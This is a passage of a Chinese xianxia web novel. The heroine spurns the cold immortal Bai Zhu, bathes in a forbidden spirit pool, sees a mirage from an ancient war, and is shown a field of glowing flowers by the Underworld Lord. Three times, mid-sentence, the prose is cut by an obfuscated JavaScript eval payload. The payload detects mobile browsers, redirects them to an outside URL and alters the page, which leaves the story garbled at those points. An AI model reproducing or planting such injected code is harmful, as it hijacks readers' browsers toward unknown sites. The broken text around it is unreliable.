人说百闻不如一见,用什么方式对待、该怎么让他“忏悔”,还得亲眼看看他是人是鬼。 “你这是在做什么?”白竹清了清嗓子,将不合时宜的酸涩生生压下去,不满的眼神落到漆瑭手中的药碗上。 未尽之意格外浅显—— 既然没死为何不回我的身边,反而和这个冥主搭了线? 第一句话不是慰问反而是谴责,幸亏站在这的是她而不是季棠那个可怜鬼。 漆瑭咬了咬落在牙齿尖尖上的柔软肉齿。看来他不是人,也不是鬼。是个什么东西还不好说,总之是个烂的。 少女不怒反笑,笑容没有半分嫌隙,笑得春花一样,眼神清澈而无辜:“我在给尊上送东西呀……” 白竹的眉头拧得更深,觉得她在装傻,心里的不满便更多了。 他先是低声叹了口气,随即抬头望向易昀道:“既然人已找到,那本君就此告辞。赔偿事宜待本君回宗后,定会一笔不落补给冥主。” 说罢便拽住漆瑭的胳膊准备转身就走。 她想要的解释,他会交给她。但她做的错事,也该知道后果。 这是他二人的私事,待回玄机宗,他与她再慢慢地算…… 漆瑭瞪圆了一双眼睛,猛地将他甩开,随后三步并作两步跑到易昀桌前。 白竹未加防范,更没料到她竟会甩开他。错愕地盯着自己已经空了的掌心,指尖抽动,他转身看到了万万想不到的一幕。 那抹鲜艳的鹅黄将手中瓷碗搁到桌上,俯身凑在冥主的身侧耳语。黄与黑错位交叠,她长而密的睫毛微垂,没分给他半点眼神。 大脑“轰——”地一声。 会失去她的惶恐与痛心终于卷土重来。 她不能离开他! 几乎是未经任何思索,一向清风明月气质浅淡的让尘仙君脱口而出:“你和他什么关系?” 正在耳语的二人顿住了。 少女的眼神轻飘飘地落在他身上,毫不掩饰惊讶,转而一笑:“什么关系?”细白的手指漫不经心地缠绕着自己乌黑的发,“睡在一张床上的关系。” 这话也没错。 那张床以前冥主睡,现在她睡。可不就是睡在一张床的关系! 据漆瑭观察,白竹此人极度自负,举手投足尽是优越感。更恶心人的是,他还自以为自己君子如菊,自视高尚,实则就是个伪君子! 要想让他忏悔,心理上的交锋是不可取的。因为无论她说什么做什么,他都不会反省自己,反而会将问题归结于她——是她不懂事、是她太冲动。 君子如他只会为此感到痛心! 这种人只有被她亲自用实力打垮,客观意义上把他摁在地面摩擦,才会有所后悔。 ——后悔当初遇见季棠,后悔这由他开始的孽缘。 现在她虽然办不到,但是恶心恶心他还是很容易的。 果然,白竹细长的双眼缓缓瞪到了最大,他看见那个令人厌恶的冥主支着下巴,兴味盎然地看着眼前的闹剧。眼神高高在上又置身事外,宛若一个耳光打在白竹矜贵的脸上,火辣辣的。 “季棠,你知道你在说什么吗? 季棠也许不知道,她漆瑭可清楚的很。 少女歪了歪头,眼神清澈而懵懂:“我当然知道啊,莫非仙君不知道?要么我给仙君解释解释?” 白竹既羞又怒,一张白玉般的脸涨得通红,心头狂跳,无名火几乎要把心脏焚烧:“胡说八道!” 少女仍然笑嘻嘻的,像三月里开得肆意的明媚春花,“你管我?你是我爹?”我爹是水妖,是混蛋,是死人。 到底是大宗门脸,教养在线。白竹的失态不过短短两瞬,再开口时,已恢复成云淡风轻,语气疏离至极、不怒自威:“季棠,本君再问最后一次,随本君走,既往不咎。” “不走,咎无可咎。” 他深深地看了漆瑭一眼,意味无穷,随即垂眸将一切情绪遮于冰底,“既然如此,多有叨扰。冥主,本君告辞。” 漆瑭反瞪回去,“慢走,不送。” 白竹走得很快,每迈出一步都深觉耻辱。他平生最不齿冥主为人,可是父亲常说“管好你自己,人的脚得踏在地上,你知道为了从冥主手里保下你,宗门费了多少功夫吗?” 从前,他甚至进不来内冥界。 他停住了。 “破雪”出鞘,以迅雷不及掩耳之势直指高台上的气定神闲的人。 他白竹不需要被保,他情愿堂堂正正与之一战,就算是死,那也是他技不如人罢了。 “铮——” 瞳仁中倒映出的那抹寒光,被人骈指夹住,寸尺难进。 白竹神色一凌,双手结印欲再击。 熟料台上那人甚至身形未动,半招未出,仅是指尖灵力便将“破雪”捏出碎冰声。剑灵哇哇大叫:“好疼啊!我好疼啊!白竹,快叫他住手啊!” 白竹瞳孔骤缩。 法诀匆忙打去,这是他毫无保留的全力一击,他不信…… 消失了! 在距离冥主仅一步处,黑气暴起,与法诀对撞! 巨大的气浪吹得漆瑭睁不开眼,头发乱飞,飘进了她嘴里。她“呸呸”两声吐出来,隐约听见身旁这人轻笑了一声。 她莫名很确定,他就是在笑她。 不是,看我倒霉就这么好笑吗?还有,这不是在打仗吗,你的眼不搁前边搁侧边?! 剑灵发出灵生中的最后一声尖叫,然后消失了。紧接着,破雪寸寸碎裂,像冬日从屋檐摔落的冰凌,碎了一地。 白竹愣住,千年来,这是他第一次见冥主出手。 心里忽然涌出莫大的恐慌,他本以为自己不怕死的……可是……可是! “棠棠,你看见了吗?”他赤红的双目猛地抬起,状似疯魔,全无半点君子气度,“他就是一个怪物!琼华神女千年前救世而亡,仙骸沉于冥界遍寻不得,使得满世香火无处祭祀!定是他设法偷藏!本君看到了……本君看到了!” 易昀将饶有趣味的目光落到了漆瑭身上,那副作壁上观的模样,仿佛说的不是他似的。 漆瑭在心里琢磨着怎么能将白竹这副模样记录下来,给季棠看看,但是又想这发疯和“季棠”没什么关系,主要还是因为那位白月光,叫季棠瞧见了,万一徒增伤心呢? 如此这般,白竹发了一通疯,才看见台上二人俱没看他——一个低着脑袋神游天外,另一个侧头看着身旁的人,嘴角上挑。 他气得发抖,厉声问:“季棠,事已至此,你还不随本君走吗?留在这个怪物身边,你就不怕?!” “不怕。”她接的很快,气焰嚣张,“我在哪与你何干?而且,他不是怪物,他是人。” 易昀唇角的笑容忽然凝固了,脸上的笑意霎时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13579088|143077||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不见。他面无表情将头转了回去,细长的手指叩了叩桌角…… 白竹还欲口舌之争,熟料一道黑气猛地裹住他将他丢出了冥主殿。 “滚。”里面传出一道平静而不屑的声音,“本尊不屑杀你。” 白竹只觉有口老血涌到嗓子眼,气得他翻了个白眼,他几乎神智尽失,只想再回殿中找回他稀碎的尊严。 然而里面又传出一句话:“回去昭告天下,乾幽结界失效,恶蜮逃逸,人间界该做好准备了。” 白竹顿住脚,诧异难掩:“什……什么?!” 狂乱的思绪终于平静下来,他沉默半晌,转身离开了。 讨人厌的东西离开后,大殿内恢复了安静。 易昀敛眸,单手握住瓷碗,三两口将浓黑的药汁喝下肚。黑褐色的药渣小雪般从上滑到下,露出雪白的碗底。碗底移开,出现在面前的是一只雪白的手。手心托着一只黄灿灿的杏子。 视线上移,是一张同样雪白的脸,笑意盈盈。 又在笑,总是笑。他忽然有些好奇,什么时候是真的,什么时候是假的? 方才她也是这样笑眯眯地凑在他耳边,说:“我问了树精,它们说这药可苦,所以今天我给尊上带了好吃的杏子,压压苦。” 这话本也没必要那时那刻咬着耳朵说,他心知她不过是做给白竹看的,这女人举手投足都是戏。 易昀将碗撂到桌上。在眼睫遮掩下,眼中纷杂的情绪已经消失殆尽,瞳仁像是波澜不兴的湖。 “你不好奇?” 好奇,好奇什么?琼华仙君的仙骸? 她心里谨慎,直觉他现在的状态怪怪的,语气便尽可能地显得从容无心:“有一点吧,大概是尊上想说我就想听,不想说我就不问。” 他点了点头,气定神闲道:“本尊不想说。” 如他所想,她脸上的表情果然有一瞬的崩塌,看起来颇为有趣。 漆瑭无语之余意外发现易昀的睫毛很长,虽然长却有些稀,只是贴着上眼皮薄薄的一层,像什么昆虫透明的薄翅,随着说话会微微颤动。有一种和他整个人格格不入的别样的乖巧感。 他垂眸看着她手里的杏,突然垂头,唇贴上去将其抿进嘴里。 呼吸轻而热,蜻蜓点水般在她的手心一触即分。 漆瑭叫他这莫名其妙的行为吓了一跳,手一抖,很轻,他应该没发现。 她收回手,藏在背后,手指轻轻捻了捻。分明没什么实质的触碰,但就是感觉好奇怪,她决定回去要好好洗手。 肉眼可见的,易昀的情绪恢复了正常,他吃着杏挥了下手,示意她可以滚蛋了。 人却没走。 她似乎不怎么注意仪态,鹅黄色的裙摆垂在地上有些凌乱。一指相隔,就是整齐地垂在地上的黑色袍摆。黑与黄隔河而望,并没有实质的触碰。 他这才抬眼看她,用眼神示意“有屁快放”。 少女很机灵,总是能看明白他的心思,说不上好,似乎也说不上差。 她不多赘述,直接问:“尊上,您可有什么法子能让执念体延续寿数吗?” 易昀盯着她,眼神有些危险,他将杏肉咽下肚,才幽幽道:“得寸进尺。” 就是要得寸进尺,不然昨天的付出算什么?虽然伤已经痊愈,但她现在还有幻肢痛呢。 漆瑭相信,现在冥主对她的容忍度一定如海宽。毕竟她搞的事,都是比之从前微不足道的小事。 “小女这不是借着尊上大人有大量嘛!”她继续笑眯眯,露出两颗尖尖的虎牙。 易昀收回目光,再次挥了下手示意她滚蛋,同时说:“下次带她来见本尊。” “得嘞,多谢冥主大人!”余光中那抹黄色欢快地跳开,跑走了。 漆瑭惦记着要回去洗手,加之季棠的事有了缓冲,心里别提多高兴了。以至于气箭嗖的从耳边擦过时,她完全没反应过来。 5. 闭关 灵气化箭,利而无形。气箭擦过耳垂,钉在身前光洁如镜的玄玉地面上。地面龟裂出蛛网状的裂纹。 一缕轻薄的乌黑鬓发飒飒飘落。 “太弱了。” 身后的人说。 冷汗从后背冒出来,漆瑭缓慢地眨了下眼睛,大脑飞转思考当前情势。 她哪里得罪他了? 想不通……冥主的心情就像诡变的天,阴晴不定。 “琢光山有处淞灵池,今夜你去泡泡水,丹芽也能长得快些。”他似乎觉得不妥,又补充道:“既然与本尊结了心契,就该知道你这条命已经变得尊贵无比。好好修炼,本尊总不能时刻保护你。” 漆瑭眨了眨眼。 这话很臭屁,但许是有白竹“珠玉在前”,她竟也不觉得多讨厌。 转回身本欲道谢,熟料还未抬眼,就先和地面倒影中的易昀对视了。 玄玉地面当真是光洁如镜。一前一后,一上一下,这两个人就这么正正好好地对上视线了。 她又笑了,但这笑容几乎是一触即散,很浅,却又比从前所有的笑都真。 “是,我会的。多谢尊上关心。” 等等,谁关心她了?! ** 易昀其实不怎么犯心魔。 从前心浮气躁时他会提前喝净神汤,或是叫谢家那小儿来弹个镇魂曲。偶尔觉得压不住了,就去灵湖闭几日关。 出关了就好了,闭一次关起码能撑一年。 可这回不知为何,莫非是闭关中途被那女人打断了? 心底、脑中,有什么东西不停歇地蠢蠢欲动。 他沉入灵湖底。 湖心深处有一处真空地,硕大的树冠自地底露出一半。树冠通体晶莹,宛若琉璃,自带莹莹蓝光,照亮了漆黑的湖底。 “明日午时出关,本尊会离开冥界。” 树冠晃了晃,权作回应。 忽如梨花一瞬开,光秃秃的树枝上冒出了无数晶莹剔透的冰花。细看,每一朵竟都是极寒的焰冰玉,寒凉、坚硬。寒气几乎凝为实质,一片白茫茫。 易昀席地盘坐,便听到一个雌雄莫辨的空灵声音问:“你在怕?是在怕死吗?” “本尊从不怕死。”他的语气跟焰冰玉一般冷硬,“本尊只是不能死。” 那个声音又问:“这世上人人都死得,为何偏你不能死?” 他不能死,他必须……做什么来着? 意识跌入混沌,朦胧里闪过一双黑白分明的笑意盈盈的眼。 很远,一千年来,一直遥不可及。 他不知那是何人,就像他不知自己是从何而来,不知为何一定要做这个冥主,又为何一定要封印恶蜮。 魂魄滞留,躯壳活动,像一具行尸走肉…… 忽然,眼睛的主人向着他急速逼近,一千年来,从未如此近过。 易昀心跳加速,紧张得几乎窒息。 积压的情绪与周身黑气同时出笼。 黑气暴涨,填满了整个空间,疯狂旋转。树冠蓝的光撞上黑的气,也被搅碎。 他对将要脱离掌控的预兆感到了浓浓的无措,和恐惧。但他不知道自己在害怕,更不知道自己在害怕什么。 双眸紧闭,冷汗一滴、又一滴。 他整个人很烫,散发的热气也几乎要凝为实质。焰冰玉的寒气灭火似得一下、一下地往热气上扑。扑不及时,那热气就溢出黑气圈。热气上浮,贴在满树的焰冰玉上。 玉一层一层地化成水,滴下来。 一滴、又一滴。 他倏地睁开双目,绿意消逝,灰雾笼罩。 一滴,又一滴。清澈的泉水从细白的指缝间滑落,滴进淞灵池中,荡开了一个又一个小小的涟漪。 泉水微热,热气如白雾,袅袅婷婷。 漆瑭又捞了两把水玩,然后身子往池底一瘫,长长地舒了口气:“真爽啊!” …… “你怎么叫我夫人?!” 漆瑭很错愕,树精小绿也同样错愕。 它又做错事了吗? “我错了……”绿油油的小树精尴尬成了枯草黄,苦着一张脸道:“因为涿光山是内冥界禁地!除了冥主大人,从未有谁进来过。我以为……冥主大人让仙子来,就是……就是……” 实在是太尴尬了! 小绿抱住自己的脑袋,想到不久前尴尬的场景,恨不得缩成一个球。 背倚榕树,不远处就是淞灵池,隐约能听到凡人自言自语的声音。小绿掏出一个杏子,打算将注意力从尴尬回忆里拔出来。 “呸——” 才吃一口,它便吐了出来。心想,这茬杏熟的晚,确实不好吃,酸酸涩涩,难怪凡人不爱吃。 倏地,它看到不远处石榴树下站着一个令它怕到发抖的人影。不知他已经站在那多久了,像个木偶似的驻足远眺,视线的尽头凝在榕树后。 咽了口唾沫,小绿识相地悄悄离开。 然而实在好奇,它走开后朝着冥主的视线尽头也看了一眼。 树遮草掩,确实是什么也看不到啊……冥主他老人家看什么呢? 树不动,草不动。 热气和热泉在动。 淞灵池不愧是禁地货,药效没得说。整个人往池中一浸,毛孔慢悠悠地舒开。泉水中精纯的灵力汇入热气,从人全身上下的毛孔钻进去。内丹嫩芽宛如久旱逢甘霖的小苗,吨吨吨喝着灵气,肉眼可见的变大了。 果然姓“禁”的东西都是非精即奇。 漆瑭叹了一声,从岸上的袖袋里掏出一捧果子。杏子被她挑出来重新塞了回去,只剩下清甜的青梨子、橘子等等。梨子爽脆多汁,橘子饱满润泽。少女细白的胳膊搭在岸边,一边吃一边眯起眼,像只餍足的猫。 季棠坐在岸边。 这感觉实在奇怪,她与自己的身体面对面,像隔山而望,其实是隔了生与死。自己的身体突然变得格外陌生,也许是从未在这样的角度看过自己,也许是那壳子里换了人—— 自己不会露出这样的表情、神态、眼神……她清清楚楚地意识到,对面这人是漆瑭,不再是季棠。 对此,季棠属实没多少伤春悲秋的心思。毕竟她只是一个偏执的执念体,整颗心里也掏不出几两与执念无关的情感。 她正在给漆瑭进行修真小讲堂。 “生人蕴生气,死人藏死气,灵物有灵气,邪物蓄邪气……这茫茫世间万物,皆有其天然之气。” “摸得着之物,譬如灵石、灵泉,外溢的便是灵气。所谓引气入体,引得就是这股子灵气。先引气,随后练气凝于内丹,逐渐升阶,化灵气为内用,又能转内为外释放,谓之修士。” 讲到这,漆瑭点点头,伸一根食指,凌空打了个旋。无形的灵气便在她指尖蓄起,像一簇火苗。她挥手直指不远处的一枚青梨,指尖灵气如风,风过草动,梨子自中心裂成了两半。 “是这样吗?” 季棠有些吃惊,虽然此前见她硬生生催发内丹时,便知道漆瑭的神魂于修真一道上颇有天赋。可是这才几日,她对灵力的掌控竟已到了收放自如的地步! “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13579089|143077||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是,你学的很快,也很有天赋,比我从前……强得多。” 许是想到了曾经带她登仙途的那人,季棠有些晃神,好的、坏的回忆如潮水漫过来。 最开始,确实是好的,极好。 季家是珩海州境内某小镇的望族。 说望族算是抬举了,只因小镇弹丸之地,容不下真正的“名门望族”。地头蛇拾掇拾掇给自己贴点金光,也没谁会多说些什么。 金光遮着的蛇头,小镇望族的族长,也就是季父本人。身为小镇土皇帝,放荡不羁,有诸多外室子。季棠就是其中之一。 无论什么东西,多了就不稀罕了,这话放在哪也成立。孩子一多,便也不稀罕了。 是男是女,是丑是美,是死是活。都没什么人在意。 季棠算是里面格外惨的一个,因为她早死的生母在生前和季夫人结过怨。如此在季父的不闻不问下,季夫人一腔怨气都发泄在了可怜的季棠身上。 诸多细节季棠早已记不得了,那毕竟是百年前的事了。 她唯独记得那年冬夜,她穿着单薄的小衫被关在季府外。天冷且干,手冻的又痛又痒,热气从口中呼出去,内里便更凉一分。 那会她才十五岁,尚不懂“惊艳”二字怎么写,却在那一夜真真正正领悟了何为惊艳。 来者白衣胜雪,如松如竹。一双眸子泛着清浅的蓝,显得格外的冷,跟这冬天一样冷。可是向她伸出的手却是那么暖。她想,一定比季夫人手里的暖炉还要暖。 小镇罕见修士,更妄论是这样皮相、气度、身份都无可挑剔的大人物。 可是,这样的大人物竟然要带她走! 季夫人说:“仙君大人,这丫头打小好吃懒做,手脚还不干净。不然,我们也不会大冬天的把小丫头丢到门外!”她将自己的女儿和儿子推出来,“您瞧这两小孩,仙君可看得上眼?” 季棠瑟瑟发抖。 她想说她没有偷东西,她是被冤枉的,可是不敢。她又害怕仙君真的不要她。 季家上下几十口人,小镇上来来往往的看客,将他们围了一圈又一圈。让尘仙君站在最中间,鹤立鸡群。可是他没有理会任何人,只垂头温声问她:“别怕。你只需回答,愿不愿随本君走。” 季棠从未如此风光过。 她说愿意。她那会以为自己已经死了,是在做梦呢,所以鼓足勇气死死牵住人家宽大的衣袖,像是握住了最后一根救命稻草。 却没想到,这一握、一松,人世竟已匆匆过了百年。 “那敢情好啊!” 清脆的呼声将回忆的潮水拦腰截断,将她从那种几乎溺毙的窒息感中拽了出来。眼前的少女眨眨眼,“我学的越快,就能越早为你报复白竹。”她挥了挥拳头,“我要将他摁在地上摩擦!” 望着少女明亮的双眸,季棠情不自禁地露出格外温柔的笑容。 “方才讲到哪了?对,气。” “摸得着之物有气,摸不着之物亦然有气,譬如情感,譬如执念。当其纷繁浓郁至极致,便会凝作一股‘实气’。像我,执念体,就是一种实气。” “与之相似,还有一种名为前尘蜃境。不过那种实气又与执念体不同,它是一种可以影响到所触及之人的气。” “也许是几日前,也许是千百年前,至浓至深的情感、执念于某处凝聚,化作一股潜移暗转的‘实气’。” “唯有天时、地利、人和三者皆备,才能被有缘人触及,重现昔年光景,窥见岁月遗落的吉光片羽。” “方才上山时你见到的,就是此气。” 6. 蜃境 原来如此,漆瑭若有所思。事情是这样的:她方才跟着小绿走得好好的,突然脑袋一晕,周围的一切都消失不见。 灵魂好似被高高抛起。 她看到半空中一轮硕大的血月,森冷,诡谲。血月之下,赤红高山熔岩如瀑,热浪几乎凝为实质,白云般随着火瀑落下。 她的灵魂也跟着狠狠摔下。她看见满地白骨连着血肉,遍地岩浆吞噬白骨,这一幕宛若人间炼狱。 而炼狱的中心,有两个人影—— 黑衣黑发的男人跪在地上,苍白的双手将躺在地上的人揽进了怀里。脖颈青筋暴起,却莫名给人一种极度克制的割裂感。 似乎他暴起的力量只是为了扼制住全身的肌肉,令他不会在失控之下将怀里的人抱得太紧。太紧了,怀里的人会碎的。 失控的情绪是能够将人撕裂的风暴,他却将它紧紧锁在身体中,任由心脏四分五裂、经脉寸寸断绝。 暴戾是向内的,向外的——是珍重。 这一幕蕴藏的感情太过浓烈,给人的冲击力极大,漆瑭有一瞬的恍惚,心脏仿佛被谁揪了起来。 她的灵魂不由自主地往那二人身边飘去,直到看清了他怀中那人的脸——赫然与季棠有七分相似! 她听见那个女子说:“我……还……我不想死……” 诡异的事发生了,男子竟然猛地抬头,眼神分毫不差地戳到漆瑭身上。 漆瑭的呼吸陡然一窒。 她看到了一双疯狂至极的眼,漆黑如墨,深不见底,里面似有风暴翻涌,搅得山呼海啸。 那竟是冥主。 他死死盯着她,好像真的能看到她…… 管你看不看得到。 漆瑭摸出袖袋里几个果子用力掷出,将眼前极具迷惑性的幻象打散了。 回过神来。小绿和季棠正一左一右焦急地呼唤她,说她彷佛魇住了。 后来她言简意赅描述了一下方才所见场景,问季棠那是什么—— “众念心执,萦回四时。天命奇缘,遇而不求……”季棠嘟嘟囔囔,说了些漆瑭听不懂的怪言怪语。 她终于有了答案,猛地掀起眼帘,激动道:“蜃境,那是前尘蜃境!是千年前,琼华仙君的临终之景!” …… 漆瑭意外所见的蜃境,应是来自于千年前那场声势浩大的‘幽壤之战’。 那一战,以琼华仙君为首的无数英勇义士,舍命反击恶蜮及从属。大战三百三十日,伏尸百万,鲜血汇成河流,足足淌了三年。 亡魂无数,所以情感无数、执念无数……因此凝结成跨越千年的‘前尘蜃境’。 “幽壤竟就在这附近?”季棠的神色有些古怪,语气有些发颤,说不清是敬更多还是畏更多。 ‘外来户’漆瑭,并不像季棠那样百般感慨。 她只是茅塞顿开:原来灰眼睛和那什么琼华仙君也有一段昔日情缘。难怪他会和她结心契,想来是托了季棠长相的福。不过看起来,冥主似乎对此一无所知…… 搞清楚大概是个什么情况、知道不会伤害她的身心健康后,漆瑭就顺其自然转移了话题。 比起已经搞定的冥主,她更关心还没搞定的恶蜮是个什么东西。 …… 以此类比,恶蜮也属于某种“气”。 此气姑且称为恶气。会影响人、妖、鬼的神智,令他们变得浑噩嗜杀,更甚至,还能影响修士。 世人皆知千年前琼华仙君以身将其封印,此后百世清明。其余有关恶蜮的消息,历经者讳莫如深,未经者无处打探。 有传言,世上无人杀得死恶蜮。恶蜮虽被镇压,但只会越来越强,直到有朝一日突破封印卷土重来。 “那是假的。”季棠亲自打假,“我曾听……白竹说过,琼华仙君的封印是活阵。日日与恶蜮博弈,将其消磨,所以它只会越来越弱。如今虽然逃逸,但我想,总不如从前棘手。说不定,冥主这回还能借机将其彻底灭杀。” 漆瑭捞过那颗被劈成两瓣的梨子,嚼嚼嚼,“你可知道冥主是什么来头?千年前,他在那场大战里扮演什么角色?” “不知。”季棠摇头,“千年前冥主横空出世,手持‘万鬼令’叱令黄泉众鬼,一举登上冥主宝座。但更多的,无人知晓也无人敢议。” “好吧。”漆瑭吃净梨子,将核往草上一丢,便美滋滋地出浴了。 泡得有些久,内丹嫩芽已经喝撑了,昏昏欲睡。她觉得再泡下去,脚掌都要起皮了。 穿戴整齐后,将湿漉漉的头发往脑后一拢,她抱着浴巾往山下走。 守在树后的小绿不见了,不远处多了一个人影。 季棠跟树精们一样,也很怕他,于是留给漆瑭一个“爱莫能助”的眼神,就换道溜走了。 只剩下漆瑭一个人,认命地朝他走去。 灰眼睛。 是“他”不是他。 漆瑭顿了一下,忽然有些无措。 她不知道该怎么面对他…… 她一向相信,这世上“一个人对另一个人有天然的恶意”是常常发生的;却不觉得“一个人对另一个人有无缘无故的好”是什么正常的事,更别说这“好”已经好到把身家性命拱手相让了。 白痴也不会干这种事。 可偏偏受益人是她漆瑭…… 不信也得信。 虽然论心他是为了琼华仙君,但论迹的“好处”却是货真价实无可訾议的。 漆瑭觉得很搞笑:从前季棠当了一辈子替身,现在轮到她漆瑭,怎么还是个当替身的命?这琼华仙君也不知是何方神圣,真是败也琼华成也琼华……不过这样想想,她确实还得对那位仙君道声谢。 这胡思乱想的当口,易昀伸出食指,半点也不僭越地隔空在漆瑭的额间一点。 登时满头湿发转而变干,少女像是刚烘干的猫咪,蓬松清爽。紧接着,识海里突然多了什么。似是一本书,随着她的念头一页页翻开。 “这是修行手册,清水诀、净身诀等,俱登记在册,你慢慢地学。” “多谢。”少女干干巴巴应了一声,往日的圆滑与伪装,此刻竟一个也拾不起来了。 于是又恢复了一片寂静。 听觉上放松了,视觉和感觉就变得格外明显。 她发现那双温柔的灰眼睛在看她,眼神像水、像湖,温柔得令她有些不知所措。漆瑭觉得浑身刺挠,特不自在。 于是转移话题道:“哈哈,今天晚上天气真好,好晴朗呀。” 易昀依言仰头。 月光与星光毫无遮掩地洒落。这光与阳光又不同,清清冷冷、温温柔柔,给万物披上一层朦胧的纱。 这纱也罩在男子裸露的肌肤上,从下颚划到脖颈,线条流畅而分明。在光晕中苍白的肌肤几乎发光,格外惹眼。 他仰头看了一会,才认真地回应:“确实晴朗。” 漆瑭有些仓惶地别开眼。 殊不知那纱也罩在了自己身上。长而密的睫毛如忽闪的蝶翼,翕动间搅得光晕如流体,有些晃眼,脸颊上细小的绒毛竟也清晰可见。 “对了……那日,抱歉……你的伤?” 易昀原本不动声色,直到她抬眸,他看见那双彰显了身份的熟悉的眼睛,才会心一笑道:“已经痊愈。而且,你与我不必说歉。” 漆瑭起了一身鸡皮疙瘩。 分明早已确定,但这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13579090|143077||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一刻她还是不由自主发出灵魂疑问:这人真是那个又凶又狠毒的冥主吗? 她又在心里呐喊:“多谢琼华姐姐,想不到有朝一日冥主还能在我面前露出这么温柔的一面,就是有些吓人了,这是真吓人啊!” “明日便要去凡间界了吧?”易昀问。 漆瑭胡乱地点点头,“嗯”了两声。 忽然眼前出现了一只手,手心向上,仿若邀请。随后,手的主人又似乎觉得有些冒犯,手心一翻,捏住自己的袖子伸到她面前。 “也不知……何时还能回来。有一处地方,若看不到实在是可惜了,敢问仙子,可愿随我一去?” 漆瑭又是点头,“嗯”了两声,便捏住了他的袖子。 眼前的场景忽如万花筒似的旋转,然而头脑还未来得及晕一下,就到了地方。 该怎么描述眼前所见的一切呢? 不可思议,瞠目结舌,如坠梦境…… 言语难以描述它,只能用来描述看到它的自己。 这是一个红粉的山坡。漫山漫野都是不知名的花,花瓣轻盈曼舞,如女神的裙摆,似是白色。可那白掩藏在粉红色的光晕中,便也看不真切。 每朵花从花头到花茎,都萦绕着或梅红、或桃红的光晕,有浅有深,层层叠叠。 更令人感到诧异的是,这些光晕竟像花粉、像孢子,轻飘飘地弥散开来。从地面缓缓升到天空,连成了一条又一条粉色的天梯! 以夜空为底色,这些“花粉”在空中竟化作一层又一层飘渺的纱,又像轻如薄雾的红粉云片。慢悠悠地晃漾来,晃漾去。 漆瑭整个人都呆住了。 “世人有言,‘灯明千里,不夜宿火’。”易昀落后她一步,刚好可以将少女与满山宿火尽数收入眼中。他看得格外认真,仿佛以后再也看不到了似的,“此花名为宿火。” 宿火。 漆瑭在心里默念了一遍。 眼前又忽的出现了一只手,手心里托着一片小巧的荷叶,上面托着三颗糖。 紫的,粉的,黄的。 “吃糖吗?这是从前树精们做的,那时候它们做了什么好吃的,还敢送到我面前呢。”他轻笑一声,“也不知道何日开始,就不敢在我面前晃了……有葡萄、桃子、橘子味的。” 另一个你又凶又狠,它们不怕你才怪。漆瑭默默腹诽。然而脑中什么东西一闪而过,她总觉得有什么不对劲……却又没抓住。 算了,应当不是什么重要的事。 她挑了颗紫色的含进口中,笑眯眯地道谢。清甜的葡萄味在舌尖爆开,就如喝了一口鲜榨葡萄汁,那葡萄是新鲜采摘,颗粒饱满,甜味十足。 一双眼睛满足地眯了起来。 小时候漆瑭最大的梦想就是吃上传说中“水果味的糖”,可那会垃圾星上的生活太苦。直到被老头收养后,她才吃上生命中第一颗水果味的糖。 是覆盆子口味的。 第一次收到糖时,她在手心里攥了一整天。晚上睡觉都握在手心搁在心口。直到第二日,硬糖被她捂化了,变成某种粘稠形态。 她心疼。也终于舍得吃了。 也许是过去多年对这东西求之不得的渴望,给它套上了无数层美好的设想。真吃进嘴里,才发现不过如此。现实与设想,落差简直像山和海! 糖工厂是民间小作坊,选用的原料也是最常见的浆果类,生产出的果味糖分为酸、酸甜、甜三个档。 她都吃过。 酸味的太酸了,她最讨厌酸味;酸甜的也太酸了,她是真的一点酸也吃不了;甜的呢,又太甜了,工业糖精加了太多,甜味异常刺鼻。 那之后她再也没吃过水果味的糖。 7. 心魔态 “太好吃了!没想到,只会摆盘的小树精们还有此等手艺。” 他的手上便又出现了一个荷叶扎成的小包裹,鼓鼓囊囊的。 “这些都是你的。” 少女垂下眼皮,遮住轻晃的眼波。 这感觉真古怪啊……难怪世人都不喜欢被当作替身,实在太难受了!明明什么也没做,却觉得自己好像偷了别人的什么东西。 她没有偷!她问心无愧! 犹犹豫豫从来不是漆瑭的风格,既然好处是他自愿给的,管他什么缘由,不要白不要。 道德底线过高的人是活不下去的,这是过去二十年星际生活学到的宝贵生存经验。 漆瑭从善如流地接下包裹后,眼皮便抬了起来,露出一双盈盈笑眼,“多谢。” 他离她有些太近了,怎么一抬头就能看见他的眼睛? 灰蒙蒙里倒映着欢喜与欣怡,却又好似只是他眼中倒映着她眼中的欢喜与欣怡。 太古怪了! 她垂下头,试图将主动权拿回来:“今天已经跟你说了好多声谢,但还是想说,谢谢你啊,你对我实在是太好了,我总觉得受之有愧。” “你我之间不必言谢。但若是道几句谢能让你心里好受些,那你就说吧,我听着。” 